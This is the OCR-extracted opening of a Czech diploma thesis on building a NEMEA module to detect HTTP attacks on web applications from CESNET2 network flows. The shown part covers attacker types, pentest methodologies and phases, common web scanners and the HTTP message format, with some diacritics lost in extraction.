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Abstrakt

Diplomovéa prace se zabyva problematikou rostouciho poc¢tu ttoki na webové
aplikace a klade si za cil vyvinout NEMEA modul pro detekci tohoto typu
utokt. Modul bude prubézné analyzovat sitové toky a na zdkladé predde-
finovanych signatur rozhodovat o tom, zda dochazi k potencidlnimu utoku
na webovou aplikaci. Pfinos této prace spociva ve schopnosti ziskavat a sdilet
informace o probihajicich podezrelych aktivitach v jejich raném stadiu.

Klicova slova 1IDS, NEMEA, netflow, HTTP, detekce utokt, CESNET

Abstract

The diploma thesis deals with increasing amount of web application intrusi-

ons and aims to develop a web application intrusion detection module for NE-

MEA system. The module will be continuously analysing network flows and ma-
king decisions based on predefined signatures about whether the network flows

show signs of ongoing malicious activity targeting a web application. The bene-

fit of the thesis lies in the ability to gather and share intelligence about ongoing

malicious activities in their early stages.

Keywords IDS, NEMEA, netflow, HT'TP, intrusion detection, CESNET
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Uvod

Za rok 2017 bylo dle dat spole¢nosti Verizon nahlaseno a potvrzeno 414 tnika
dat prostrednictvim ttoku na webové aplikace, coz tvorilo necelych 19 % vsech
potvrzenych uniku dat a bylo to nejvice ze vSech vektoru tutoku [I]. V porov-
nani s daty z roku 2016, kdy bylo zachyceno pouze 131 tnika dat prostiednic-
tvim stejného vektoru ttoku (necelych 9 % vsech ﬁnikiﬂ), se jedna o ndarust
316 % [2]. Vzhledem k rostoucimu mnozstvi Gnikt dat prostfednictvim tdtoku
vyuzivajicich aplika¢ni protokol HTTP se vénuji pravé detekci tohoto typu
utoki.

Pro potteby této prace jsem si vybral oblast vzdélani, ve které se oproti
roku 2016 v roce 2017 zvysil pocet potvrzenych unikt dat vice nez dvojna-
sobné. V roce 1996 se vefejné vysoké skoly v Ceské republice spoleéné s akade-
mii véd rozhodly zalozit sdruzeni nazyvané CESNET, které buduje, provozuje
a rozviji ¢eskou narodni e-infrastrukturu uréenou pro potteby védy, vyzkumu
a vzdélavani. Zaklad této e-infrastruktury tvori vysokorychlostni pocitacova
sit s ndazvem CESNET?2 produkujici sitové toky, které jsou nasledné analyzo-
vané v ramci systému NEMEA. Tento systém se skladd z modull, a je tedy
snadno rozsititelny o nové funkcionality.

Cilem této diplomové prace je vyvinout novy detekéni modul do systému
NEMEA, ktery bude priubézné analyzovat sitové toky obohacené o HT'TP hla-
vicky a na zakladé preddefinovanych signatur rozhodovat o tom, zda dochéazi
¢i nedochazi k potencialnimu ttoku na webovou aplikaci. Pro tento ticel jsem
praci rozdélil do tri ¢asti — teoretické, analyzy a navrhu, realizace.

V teoretické ¢asti popisi charakteristiku a motivaci itocnika k provedeni
utoku, typicky prubéh realného titoku prostrednictvim penetracniho testovani,
protokol HT'TP, nejcastéjsi zranitelnosti webovych aplikaci a nakonec metody
detekce utoki, na jejichz zakladé v praktické ¢asti navrhnu modul pro detekci
utokl vyuzivajicich aplikac¢ni protokol HTTP. Nésledné v ¢asti analyzy a na-

1Po odeéteni incidentt zpiisobenych botnety, které byly v roce 2017 pevedeny do samo-
statné kategorie a nejsou jiz v této statistice uvedeny.



Uvob

vrhu zachytim, a poté zanalyzuji HT'TP pozadavky zasilané vybranymi ske-
nery zranitelnosti webovych aplikaci a implementuji signatury pro jejich de-
tekci. Nakonec se budu v ¢asti realizace zabyvat mérenim tispésnosti a casové
naro¢nosti detekce modulu pri probihajicich skenech zranitelnosti v testova-
cim prostredi, srovnanim tspésnosti detekce modulu s velmi popularnim open-
source IDS Snort a srovnanim tspésnosti detekce modulu na anonymizovanych
datech z produkcéniho prostredi pocitacové sité CESNET?2.



KAPITOLA 1

Charakteristika atocnika a jeho
motivace k provedeni utoku

Nez se pustim do technické oblasti samotnych utokd na webové aplikace, po-
pisi charakteristiku osoby utoc¢nika a jeho motivaci, nebot poznani toho, kdo
se snazi prolomit ochranu systému, je klicové pro zavedeni t¢innych detekénich
mechanismii. To védél jiz Sun Tzu, ktery ve svém traktdtu Uméni valky [3]
zhruba pred 2500 lety napsal: ,Znas-li neptitele i sdm sebe, miizes bez obav
svést sto bitev. Pokud znas sebe, ale nikoliv nepftitele, jednou vyhrajes a po-
druhé prohrajes. Jestlize neznas ani sebe ani neptitele, prohrajes v kazdé
bitve.«.

Nejcastéjsim motivem pro utok na webové aplikace je finanéni obohacent,
kterého vsak utocnik dosahne pouze v pripadé, Ze vynalozené usili a mira
rizika odhaleni nebude vétsi, nez potencialni zisk z tispésné provedeného ttoku.
Mnoho webovych aplikaci nenabizi databaze s velkym mmnozstvim osobnich
udajl, citlivé finanéni informace, ani webové servery s velkym vypocetnim
vykonem, které by tto¢nik mohl zpenézit. Utoénik si tedy musi peclivé vybrat
takové cile, které vyzaduji k tspésnému provedeni ttoku malé tsili nebo se
daji velmi dobre zpenézit.

Utoénik nebude piekondvat slozité obranné mechanismy, kdyZ si nebude
jisty, ze se mu to vyplati. Slozité utoky se tedy provadéji nejcastéji na za-
kézku (napf. pramyslova spionéaz), kdy je ito¢nik placen spole¢nosti, kterd si
ho najala, a neni prili§ omezen Casem. V téchto podminkéch existuje velkd
sance, ze se mu podafi obranou systému proniknout, jelikoz spole¢nosti svou
obranu zpravidla nasazuji tak, aby se itoc¢nikovi itok nevyplatil. To znamen4,
ze by byl utok tak ¢asové narocny, ze by byl zisk nizsi nez vyvinuté usili. Cena
informaci je ale vzdy relativni a v pripadé prumyslové spionaze mohou konku-
renéni firmy informace zuzitkovat k ziskani vyhodné pozice na trhu. Z tohoto
davodu utocniky velmi dobre plati.

Ve vétsiné piipadi k odrazeni itoénikt budou stacit zdkladni obranné me-
chanismy spocivajici v detekci automatizovanych skent zranitelnosti webovych

3



1. CHARAKTERISTIKA UTOCNIKA A JEHO MOTIVACE K PROVEDENI UTOKU

aplikaci a zablokovani jejich zdroje. Pokud ttoc¢nik neodhali zadnou snadno
zneuzitelnou zranitelnost, tak je velmi pravdépodobné, Ze se nebude pokouset
v utoku pokracovat a zaméri se na jiny systém. Takovouto detekci implemen-
tuji v praktické casti této prace.

Sean Atkinson ve své préci rozdéluje uto¢niky do nésledujicich kategorii
na zakladé jejich schopnosti, motivii a metodik [4].

Tabulka 1.1: Klasifikace tto¢nikt

] Kategorie ‘ Predstavitelé ‘ Motiv pro utok
Script Kiddie zacatecnici bez hlubsich znalosti zvédavost
Malicious Insider | (byvali) zaméstnanci pomsta, obohaceni
Hactivist Snowden ideologie, odplata
Spy Narodni staty ideologie, obohaceni
Cyber Terrorist Guardians of Peace ideologie, destrukce
Cyber Criminal | Russian Mob finan¢ni obohaceni

1.1 Script Kiddie

Script Kiddie je oznaceni pro nejcastéji mladého vytrvalého utocnika, ktery
m& pouze minimum znalosti a zkuSenosti v oblasti pocitacovych technologii,
a proto k vyhleddavani chyb a Utokim vyuziva nejcastéji automatizované na-
stroje v defaultnim nastaveni, které zpravidla generuji velky sitovy provoz,
ktery se d4 pomérné snadno detekovat systémy IDS/IPS. Motivem pro titok
je zvédavost pohanénd touhou ziskavat nové znalosti ¢i touha po slave.

1.2 Malicious Insider

Malicious Insider je oznaceni pro osobu s minimalnimi technickymi znalostmi
majici legitimni pristup k internim systémum spolecnosti (typicky zamést-
nanec), kterd tohoto pristupu zneuzivd obchdzenim bezpecénostnich kontrol
k nelegdlnim aktivitdm ¢i pro osobni prospéch — napriklad kradezi citlivych
internich informaci ¢i sabotazi systému, vedouci k vypadku sluzeb ¢i ztrate
dat. Motivem pro ttok je nejcastéji vlastni finanéni obohaceni ¢i pomsta, ply-
nouci z pocitu nedocenéni, Spatného zachazeni ¢i jednoduse z faktu, ze se
naskytla prilezitost vyuzit Spatnych bezpecnostnich kontrol.

1.3 Hactivist

Hactivist je oznaceni pro vytrvalou osobu prosazujici své idedly (politické,
nabozenské ¢i jiné) na tkor téch, ktefi je vnimaji v jiném svétle, napiiklad
zverejnovanim tajnych informaci ¢i ilegdlni zménou obsahu cizich webovych

4



1.4. Spy

stranek (web page defacement). Vnitini potfeba téchto jedincu, aby ostatni
lidé pochopili jejich nézory a presvédéeni, jim v jejich ocich ospravedlnuje
jejich ¢iny. Motiv pro utok je predevsim ziskani verejného uznani za odhaleni
nepravosti, kterd se v jejich ocich déji, takze jeji identifikace by méla byt
ve vétsiné pripadi relativné snadna.

1.4 Spy

Spy je oznaceni pro technicky velice znalou osobu provadéjici vladni ¢i pru-
myslovou $piondz zadaného cile na velmi dobfe placenou objednavku (napr.
od stétu, korporaci ¢i fyzickych osob) spocivajici v ziskdvani tajnych ¢i du-
vérnych informaci bez souhlasu jejich vlastnika. Tato osoba bude velmi dobie
zvladat socialni inZenyrstvi, bude umét ziskat potrebné informace bez zane-
chani stop a jeji dopadeni bude tudiz velmi obtizné. Motivem pro utok je
predevsim finanéni obohaceni ¢i ideologie.

1.5 Cyber Terrorist

Cyber Terrorist je oznaceni pro vytrvalou osobu pachajici destrukéni ¢i narusi-
telskou ¢innost v souvislosti s informacemi ¢i poc¢itacovymi systémy vybraného
cile na objednavku nékterého statu ¢i ve jménu néjakého vlastniho presvéd-
¢eni. Casto se budou snazit vyvoldvat strach ¢i chaos narusenim kritickych
infrastruktur. Hloubka technickych znalosti ¢i schopnost ttocit bez zanechani
stop se muze velmi lisit. Motivem pro ttok je finan¢ni prospéch ¢i prosazovani
nékteré ideologie napr. sifenim strachu a teroru.

1.6 Cyber Criminal

Cyber Criminal je oznaceni pro vytrvalou osobu vyhledavajici data, ktera by
se dala ukrést a vyuzit k dosazeni vlastniho finanéniho obohaceni. Takova
osoba se bude nejcastéji snazit ukrast data o kreditnich kartdach, bankovnich
uctech nebo financ¢nich transakcich a tato data prodat ¢i vyuzit k provedeni
financ¢nich transakci ve sviij prospéch. Motivem pro utok je nejcastéji financ¢ni
obohaceni.






KAPITOLA 2

Penetracni testovani jako model
realného utoku

Penetracni testovani, a¢ je zndmo jako testovani bezpecnosti na zakazku se
svolenim testované spolecnosti, ve své podstaté simuluje chovani itoc¢nika a je
tedy mozné dle ného navrhnout detekci iitoki pochézejicich od utocnikt po-
kousejicich se proniknout zabezpecenim cilového systému. V zavislosti na tes-
tovaném systému existuje nékolik ruznych typu penetraéniho testovani (napft.
penetracéni testovani infrastruktury, webovych aplikaci ¢i mobilnich aplikaci).
V nasledujicich podkapitolach blize predstavim existujici metodiky penetrac-
niho testovani, popisu jeho jednotlivé faze vCetné jejich tic¢elu a nacrtnu metody
detekce utoku v prabéhu téchto fazi.

2.1 Metodiky pro penetracni testovani

V soucasné dobé neexistuje zadny oficidlni standard pro penetracni testovani
webovych aplikaci, coz zpiisobuje, ze jsou penetrac¢ni testy riznych dodavatela
provadény ruznymi zpusoby a v ruzné kvalité. Existuje vsak alespon nékolik
metodik pro provadéni penetracniho testovani, které situaci na trhu zprehled-
nuji a davaji testovanym subjekttim predstavu o tom, co bude testovano, jak
bude testovani probihat a co lze oéekédvat za vystupy. Dodavatelé penetrac-
nich testi si je mohou prizpusobit pro penetracni testovani webovych aplikaci.
Tyto metodiky predstavim v nasledujicich podkapitolach.

2.1.1 OWASP Testing Guide

Prvni a zaroven nejpodrobnéjsi metodika (¢i pruvodce), kterou popisi, se na-
zyva OWASP Testing Guide. Jedna se o bezplatné vyuzitelného komplexniho
pruvodce, ktery popisuje co, jak a pro¢ na webové aplikaci testovat. Za celou
dobu, co tento pruvodce existuje, ho prijalo jako svij standard pro prova-
déni penetracnich testti mnoho spolecnosti. Jeho nespornou vyhodou je, Ze ho
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2. PENETRACNI TESTOVANI JAKO MODEL REALNEHO UTOKU

organizace OWASP prubézné aktualizuje — dosud posledni ¢tvrta verze byla
vydana v roce 2014 a patd verze se jiz pripravuje. Privodce penetracni test
rozdéluje do nasledujicich ¢asti [5].

e Shér informaci spojenych s webovou aplikaci

e Sprava konfigurace a nasazeni webové aplikace
e Sprava identit

e Autentizace

e Autorizace

e Sprava relaci (sessions)

e Validace vstupu

e Obsluha chyb

o Kryptografie

e Business logika

e Zranitelnosti webové aplikace na strané klienta

2.1.2 PTES - Technical Guideline

PTES je jiz pomérné zastaraly standard pro provadéni penetra¢niho testovani,
ktery je vytvaren skupinou odbornikii na informacni bezpecénost. Nejnovéjsi
verze standardu 1.0 byla vytvorena v roce 2009. Jelikoz standard neobsahuje
zéddné technické informace o zpusobu provedeni testu, byla vytvorena tech-
nickd pfirucka, kterd standard doplnuje. Standard i technicka prirucka jsou
v elektronické podobé dostupné na webovych strankéch Standarduﬂ Standard
penetracni test rozdéluje do nasledujicich c¢asti.

1. Planovani a ptiprava
2. Sbér informaci

3. Modelovani hrozeb
4. Analyza zranitelnosti
5. Exploitace

6. Post Exploitace

7. Reportovani

"http:/ /www.pentest-standard.org/index.php/Main_ Page



2.2. Typicky prubéh penetrac¢niho testovani/dtoku

2.1.3 ISSAF

ISSAF od OISSG je jiz pomérné zastaraly opensource framework slouzici k po-
souzeni bezpecnosti informacnich systémi. Naposledy tento framework vysel
ve verzi 0.2.1 v roce 2006 a obsahuje metodologii pro penetracni testovani
sklddajici se z 3 fazi (planovani a piiprava, testovani, reportovani a odstranéni
pomocnych souborit). Vyhodou ISSAF je oddéleni tloh a navrzeni nédstroju
pro jejich provedeni. Kompletni seznam tloh penetra¢niho testovani uvadim
nize [6].

e Planovani a priprava
e Testovani

Sbér informaci

Mapovani sité

Identifikace zranitelnosti

Prinik

Eskalace privilegii

Enumerace s vyssimi opravnénimi
Kompromitovani uzivateli

Uchovéani pristupu

© ® N e ot W=

Zakryti stop

e Reportovani a odstranéni pomocnych soubort

2.2 Typicky pribéh penetra¢niho testovani/dtoku

Penetracni testovani se od redlného utoku lisi predevsim tim, zZe tester na roz-
dil od utoc¢nika disponuje souhlasem testované spolec¢nosti k provedeni titoku.
Pted provedenim ttoku se tester dohodne s testovanou spole¢nosti na rozsahu
testovani (seznamu cili ¢i sitovém rozsahu a povolenych testech) a limitech,
které musi vzit v dvahu. Tester musi dbat na to, aby neohrozil fungovani
spolec¢nosti. Pri redlném tutoku ma ttocnik v podstaté dvé moznosti. Bud se
zaméii na konkrétni spolecnost (napf. na objednavku od konkurence (prumys-
lové Spionéz)), nebo se pokusi odhalit néjaky zajimavy zranitelny systém po-
moci plosného skenovani zranitelnosti vybraného sifového rozsahu. V pripadé,
ze takovy zranitelny systém najde, mize bud nabidnout vlastnikovi své konzul-
tac¢ni sluzby, nebo zranitelnosti zneuzit. V kazdém ze zminénych ptipada vsak
utok probiha priblizné zptsobem, ktery popisi v nasledujicich podkapitolach.
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2. PENETRACNI TESTOVANI JAKO MODEL REALNEHO UTOKU

2.2.1 Identifikace aktivnich stroju (discovery)

Prvni fazi pii provadéni itoku s nedefinovanym cilovym strojem je identifikace
aktivnich stroji v cilovém sitovém rozsahu. Pro provadéni dalsich fazi itoku je
pro utoc¢nika vyhodné ze sitového rozsahu nejprve odfiltrovat neaktivni stroje,
¢imz se zmensi plocha ttoku, objem dat tekoucich po siti z divodu mensiho
poctu odesilanych HTTP pozadavkt a celkovy ¢as nutny k provedeni itoku,
coz ve vysledku vede ke snizeni rizika odhaleni ttoku. Pro provedeni této
faze utoku utoc¢nik velice pravdépodobné vyuzije opensource ndstroj nmap,
ktery standardné pouzivaji pro identifikaci aktivnich stroju jak utocnici, tak
obranci. Jelikoz ttok v této fazi neprobiha na aplikac¢ni vrstvé sitového modelu
ISO/OSI, neni predmétem detekce navrhované v této diplomové praci.

2.2.2 Identifikace aktivnich sluzeb (port scan)

Jakmile ma ttoénik k dispozici seznam aktivnich stroji v cilovém sitovém
rozsahu, musi identifikovat sluzby, které na strojich bézi a které se pozdéji
miuize pokusit zneuzit k pristupu na samotny stroj. Pro tuto identifikaci slouzi
technika nazyvand port scan, pri které dochazi k zasilani ticelové sestavenych
paketii na vybrané TCP a UDP porty za tcelem ziskani odpoveédi prozrazuji-
cich bézici sluzby. Skenovani porti muize poskytovat nepresné vysledky, pokud
je v siti pritomny a dobfe nastaveny firewall. K odhaleni firewallu muze atocnik
pouzit pokrocilych technik, které jsou rovnéz dostupné v nastroji nmap. Jeli-
koz utok v této fazi neprobihd na aplika¢ni vrstvé sifového modelu ISO/OSI,
neni predmétem detekce navrhované v této diplomové praci.

2.2.3 Identifikace zranitelnosti (vulnerability scan)

Po tom, co utoc¢nik identifikoval na aktivnich strojich bézici sluzby, se na-
chézi v situaci, kdy musi zjistit, zda alespon nékteré bézici sluzby obsahuji
zranitelnost, pomoci které by byl schopen proniknout zabezpecenim systému
a ovladnout ho. Z ovladnutého stroje muze tto¢énik bud ziskat néjaké citlivé
informace, nebo ho miize vyuzit jako odrazovy mistek do dalsich ¢asti spolec-
nosti, kde se jiz citlivé informace mohou nachézet. V soucasné dobé ttocnici
neplytvaji svym usilim na hledani novych 0-day zranitelnosti v aplikacich, ale
hledaji neopravené aplikace s vyskytem znamych zranitelnosti. Pro nalezeni
téchto zranitelnosti itoc¢nici pouzivaji skenery zranitelnosti. Tyto skenery dis-
ponuji razné obsahlymi databazemi signatur ¢i heuristik zranitelnosti, které
jsou schopny kontrolovat. Jelikoz ttok v této fazi probihd v pripadé webovych
aplikaci na aplika¢ni vrstvé sitového modelu ISO/OSI zasilanim HTTP poza-
davku na cilovou webovou aplikaci, jedna se o idedlni fazi pro detekci navrho-
vanou v této diplomové praci, protoze je utok v této fazi potencidlné mozné
zastavit.
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2.2. Typicky prubéh penetrac¢niho testovani/dtoku

2.2.4 Identifikace nejslabsiho clanku organizace

V této fazi mé jiz Gtocnik k dispozici seznam aktivnich stroju véetné zrani-
telnosti, které se na nich nachézeji. Utoénik si tedy musi zvolit, zda se bude
snazit zneuzit zranitelnosti na vsech strojich, nebo zda se zaméri pouze na nej-
slabsi stroj s nejvétsi pravdépodobnosti toho, Ze se mu podari proniknout jeho
zabezpecenim. V této fazi utoénik neprovadi zadnou detekovatelnou aktivitu
vici cilovému systému. Tato faze tedy neni predmétem detekce navrhované
v diplomové praci.

2.2.5 Exploitace

K provedeni exploitace nalezenych zranitelnosti potrebuje ito¢nik exploit, coz
je k6d zneuzivajici uréitou zranitelnost. Utoénik mé v podstaté t¥i moznosti,
jak ho ziskat. Muze vyuzit vefejné dostupny exploit nebo si exploit na Cer-
ném trhu koupit ¢i si exploit sdém vyvinout, coz je z hlediska ¢asu a kom-
webovych aplikaci na aplikacni vrstvé sitového modelu ISO/OSI zasildanim
HTTP pozadavkl na cilovou webovou aplikaci, bude exploitace predmétem
detekce navrhované v této diplomové praci.

2.2.6 Eskalace opravnéni

Po tspésné exploitaci dostatecné zavazné zranitelnosti, se utocnik nachéazi
na cilovém stroji v pozici uzivatele, pod kterym bézi exploitovana sluzba.
Pokud je cilovy stroj alespon trochu dobfe nastaven, prava tohoto uzivatele
budou nizka a utoc¢nik nebude moci na cilovém systému provadét zadné pri-
vilegované tkony. V takovém pripadé se ttocnik bude snazit vyuzit veskeré
dosud ziskané informace o stroji (napf. informace o opera¢nim systému) a po-
kusi se nalézt néjakou zranitelnost umoznujici povyseni prav na uroven ad-
ministratora. Pokud se mu podari ziskat opravnéni administratora, muze se
stroj vyuzit jako soucast botnetu, ukrast z néj citlivd data nebo ho napriklad
vyuzit jako odrazovy miistek do interni sité vlastnika stroje. Jelikoz faze eska-
lace opréavnéni muze probihat na aplika¢ni vrstvé sitového modelu ISO/OSI
zasilanim HTTP pozadavka na cilovou webovou aplikaci obsahujicich napri-
klad prikazy provadéné skze shell (shellcode), bude post exploitace predmétem
detekce navrhované v této diplomové praci.

2.2.7 Post Exploitace

Vzhledem k tomu, zZe redlny ttok je nezdkonnd aktivita, musi po sobé ttoc-
nik zahladit veskeré stopy, aby snizil riziko dopadeni. V pripadé, Ze mé stroj
pro utocénika hodnotu, bude si k nému chtit uchovat pristup. Pro zachovani
pristupu si uto¢nik na stroji muze vytvorit novy tcet nebo si schova auto-
maticky spoustény backdoor ¢i command and control klienta. Pti zahlazovani
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2. PENETRACNI TESTOVANI JAKO MODEL REALNEHO UTOKU

stop se pak bude snazit vratit stroj do stavu, v jakém se nachézel pred ex-
ploitaci. Mezi aktivity pro zahlazovani stop patii smazani logt, docasnych
soubort a soubort vyuzitych k exploitaci, obnoveni pozménéné konfigurace
do pivodniho stavu a smazani 1¢t a programu schovanych pro uchovani pri-
stupu ke stroji. Jelikoz faze post exploitace mtze probihat na aplika¢ni vrstveé
sitového modelu ISO/OSI zasilanim HTTP pozadavki na cilovou webovou
aplikaci obsahujicich prikazy provadéné skrze shell (shellcode), bude post ex-
ploitace predmétem detekce navrhované v této diplomové praci.

2.3 Nastroje pro penetracni testovani

V této kapitole se zabyvam néstroji pro penetracni testovani, které titoc¢nikovi
Setii cas pri ziskavani informaci o cilovém systému a poméahaji mu s hledanim
¢i exploitaci zranitelnosti. Téchto néstroji je, af uz zdarma ¢i za poplatek,
k dispozici pomérné velké mnozstvi a lisi se predevsim mnozstvim vyhleda-
vanych zranitelnosti a technologii, na které se zaméruji (napf. webové apli-
kace). Nékteré ndstroje se zaméruji na testovani vefejné znamych zranitelnosti
(napt. CVE-2002-0082) — tyto se oznacuji jako skenery zalozené na signatu-
rach, a jiné se zaméruji na vyhledavani generickych zranitelnosti spadajicich
do nékteré tiidy zranitelnosti (napt. XSS) — tyto se oznacuji heuristické ske-
nery. Pro tcely této prace jsem si vybral ¢tyri nastroje uzivané pri penetra¢nim
testovani webovych aplikaci - Burp Suite, OWASP ZAP, Nikto a WPScan.
Vsechny jsou defaultné nainstalované v Kali Linux distribuci, ktera je vyvi-
nuta specidlné pro tcely penetracniho testovani, a je tedy hojné vyuzivana
utocniky. Tyto nastroje popisi v nasledujicich podkapitolach.

V soucasné dobé se stile vice testuji zranitelnosti plosné ve stylu kober-
cového bombardovani a mohou tedy na testovanych strojich ptsobit vedlejsi
skody, jako je zahlceni sité ¢i serveru vedouci k odepreni sluzby. Penetrac¢ni
testovani se tedy muze zménit v ttok DDoS. Vyhodou tohoto plosného tes-
tovani pred cilenym je predevsim vyssi efektivita v poméru k nakladim. Pe-
netrace konkrétniho dobie zabezpeceného cile muze zabrat i nékolik mésict
¢i let, zatimco plosny itok dokéze odhalovat slabé zabezpecené cile dostupné
z internetu pomérné rychle.

2.3.1 Burp Suite

Burp Suite od spole¢nosti PortSwigger je predni aplikace pro testovani bezpec-
nosti webovych aplikaci, ktery v soucasné dobé vyuziva vice jak tisic spolec-
nosti. Je distribuovan jak zdarma (Community Edition), tak ve zpoplatnéné
verzi (Professional). Profesionalni verze oproti verzi zdarma nabizi nastroj
Scanner a umoznuje pokrocilé nastaveni vSech nastroji a podpurnych funkci-
onalit. Aplikace umoznuje itocnikovi vybér utoku, které se budou provadét,
aby nevzbudil podezieni zaslanim velkého mnozstvi pozadavki. Kromé tohoto

12



2.3. Naéstroje pro penetracni testovani

nabizi aplikace moznost inteligentniho vybéru atoki, ktery vynecha ttoky ne-
relevantni pro cilovou webové aplikaci.

Target Nastroj Target slouzi k zobrazeni detailnich informaci o testované
webové aplikaci.

Proxy Nastroj Proxy slouzi k zachyceni, inspekci a ipravé HT'TP komunikace
z webového prohliZece ¢i jinych nastroju generujicich HT'TP provoz.

Spider Nastroj Spider slouzi ke zmapovani obsahu testované webové aplikace.

Scanner Nastroj Scanner slouzi k pasivnimu ¢i aktivnimu heuristickému ske-
novani zranitelnosti vybrané webové aplikace.

Intruder Naéstroj Intruder slouzi k automatizaci itok navrzenych ttocnikem
na miru testované webové aplikaci.

Repeater Nastroj Repeater slouzi k manualnimu vytvoreni a odeslani indi-
vidualnich HTTP pozadavkt a analyze HT'TP odpovédi.

Sequencer Nastroj Sequencer slouzi k analyze nahodnosti vybraného vzorku
dat.

Decoder Niéstroj Decoder slouzi k dekédovani nebo zakédovani aplikac¢nich
dat.

Comparer Nistroj Comparer slouzi k vizudlnimu zobrazeni rozdili mezi
dvéma sadami dat (napt. dvéma HTTP pozadavky).

Extender Nastroj Extender slouzi k rozsiteni aplikace Burp Suite o vlastni
funkcionalitu ¢i funkcionalitu tfetich stran.

2.3.2 OWASP ZAP

OWASP ZAP je velmi populdrni opensource nastroj pro testovani bezpecnosti
webovych aplikaci vyvinuty organizaci OWASP. Zdarma nabizi skoro totoznou
funkcionalitu jako Burp Suite vCetné heuristického skeneru zranitelnosti.

2.3.3 Nikto

Nikto je opensource nastroj pro skenovani zranitelnosti webovych aplikaci,
ktery v roce 2000 vyvinul Chris Sullo. Je distribuovin zadarmo pod licenci
GNU/GPL a je udrzovan komunitou, kterda v posledni dobé vsak neni prilis
aktivni. Presto stale dokaze odhalit mnoho bezpecénostnich nedostatki a zra-
nitelnosti. Skener je zalozen na signaturich, a proto je nutné ho prubézné
aktualizovat, aby byl schopen nalézt i nové objevené zranitelnosti. Neni vsak
navrzen ke skryvani své ¢innosti, takze je mozné ho pomérné snadno identi-
fikovat v logu ¢ pomoci IDS/IPS. Ke zmirnéni dopadu na cilovou webovou
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2. PENETRACNI TESTOVANI JAKO MODEL REALNEHO UTOKU

aplikaci spocivajiciho ve velkém mnozstvi HTTP pozadavka, které Nikto ge-
neruje, muze utocnik vyuzit selekci testovanych zranitelnosti.

2.3.4 WPScan

WPScan je bezplatné dostupny skener zranitelnosti webové aplikace Word-
press zalozeny na signaturach. Wordpress je v soucasné dobé povazovan za
nejpopularnéjsi systém pro spravu obsahu (CMS) na trhu, coz potvrzuji i data
sesbirand nastrojem Wappalyzer, kterd tomuto systému prisuzuji 77% podil
na trhu [7]. Existuje tedy velkd pravdépodobnost, ze bude pfi utocich na
webové aplikace hojné vyuzivan i tento specializovany skener zranitelnosti.
Vzhledem k tomu, zZe se ve vyvijeném detekénim modulu specializuji spise
na detekci heuristickych skent zranitelnosti, pomuze mi tento skener lépe vy-
hodnotit opravdovou tspésnost detekce.

14



KAPITOLA 3

Protokol HTTP

Protokol HTTP predstavuje klicovou ¢ast mé prace, jelikoz se vénuji detekci
utoku probihajicich prostfednictvim ného. Z tohoto divodu v této kapitole
popisi jeho klicové charakteristiky, které budu v dalsich ¢astech této prace
zminovat pri vysveétlovani jednotlivych zranitelnosti a zptisobu jejich vyhleda-
vani a zneuzivani utocniky.

Protokol HTTP je popsan v RFC 2616 organizace IETF jako bezstavovy
protokol fungujici na aplika¢ni vrstvé modelu TCP/IP a ISO/OSI defaultné
na TCP portu 80 [8]. Architekturou tohoto protokolu je klient-server, kde
klient zasila HTTP pozadavek a server na néj klientovi odpovida zasldnim
HTTP odpovédi. Uéelem tohoto protokolu je historicky vyména hypertexto-
vych dokumentti ve formatu HTML mezi klientem a serverem.

Bezstavovosti protokolu se rozumi, ze server po ukonceni spojeni zapo-
mene, ze néjaka komunikace mezi nim a klientem kdy probéhla. VSechny kli-
enty server obsluhuje tak, jako by s nimi vzdy komunikoval poprvé. Aby nebylo
nutné po kazdé vyméné HTTP pozadavku a odpovédi ukoncovat spojeni, coz
je naroc¢né na vypocetni zdroje, pouziva se od HTTP verze 1.1 defaultné per-
sistentni spojeni (keep-alive). Jelikoz vSak klienti potfebuji uchovavat stav,
ve kterém se v aplikaci nachézeji (napriklad proto, aby se uzivatel nemusel
s kazdym pozadavkem znovu autentizovat), byly vyvinuty mechanismy sessi-
ons a cookies, které umoznuji na strané serveru rozpoznat klienta a uchovat
jeho stav v ramci aplikace.

3.1 Format HTTP pozadavku a odpoveédi

Pro pochopeni, jakym zptisobem funguje protokol HT'TP, popisu formét poza-
davku a odpovédi a predvedu je na prikladu komunikace. Porozuméni HTTP ko-
munikaci je dulezité pro nasledné pochopeni detekce utok.

Ve vypisech a uvadim format HTTP pozadavku a odpovédi dle
definice protokolu HTTP.
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3. ProrokorL HTTP

Metoda URI HTTP/Verze CRLF

HTTP hlavicky (hlavicky jsou oddélené sekvenci specidlnich znakd CRLF)
CRLF (prazdny radek indikujici konec HTTP hlavicek)

Volitelné télo zpravy

Vypis 3.1: Format HTTP pozadavku

HTTP/verze stavovyj-koéd stavové-hlaSeni CRLF

HTTP hlavicky (hlavicky jsou oddélené sekvenci specidlnich znakd CRLF)
CRLF (prazdny fadek indikujici konec HTTP hlavicek)

Volitelné télo zpravy

Vypis 3.2: Format HTTP odpovédi

Ve vypisech a uvadim piiklad komunikace pres protokol HTTP
sklddajici se z HTTP pozadavku a odpovédi (tuéné kurzivou jsou vyznacena
data, kterd budou soucasti detekéni analyzy).

GET /manual HTTP/1.1

Host: localhost

Referer: http://localhost/

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0

Vypis 3.3: HT'TP pozadavek

HTTP/1.1 200 OK

Date: Sat, 28 Apr 2018 13:10:05 GMT

Server: Apache/2.4.29 (Debian)
Last-Modified: Tue, 30 Aug 2016 11:14:02 GMT
ETag: "29cd-53b4813f41280"

Accept-Ranges: bytes

Content-Length: 10701

Vary: Accept-Encoding

Content-Type: text/html

Vypis 3.4: HTTP odpovéd

Protokol HT'TP definuje nékolik metod pro urceni akce, kterd se mé provést
s pozadovanym zdrojem — GET, POST, HEAD, OPTIONS, PUT, DELETE,
TRACE, CONNECT a PATCH.

GET Metoda GET slouzi k ziskani dat pozadovaného zdroje.
POST Metoda POST slouzi k odeslani dat na server.
HEAD Metoda HEAD slouZi ke zjisténi metadat a stavu pozadovaného zdroje.

OPTIONS Metoda OPTIONS slouzi ke zjisténi podporovanych HT'TP me-
tod serveru.
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3.1. Format HTTP pozadavku a odpovedi

PUT Metoda PUT slouzi ke kompletnimu pfepsani dat vybraného zdroje
na strané serveru.

DELETE Metoda DELETE slouzi ke smazani vybraného zdroje na strané
serveru.

TRACE Metoda TRACE slouzi k zrcadleni ptijatych dat serverem klientovi
pro ucely ladéni.

CONNECT Metoda CONNECT slouzi k navazani spojeni pres protokol
HTTP mezi klientem a serverem.

PATCH Metoda PATCH slouzi k prepsani uréenych dat vybraného zdroje
na strané serveru.

Protokol HTTP definuje velké mnozstvi HI'TP hlavicek s riznym tcelem.
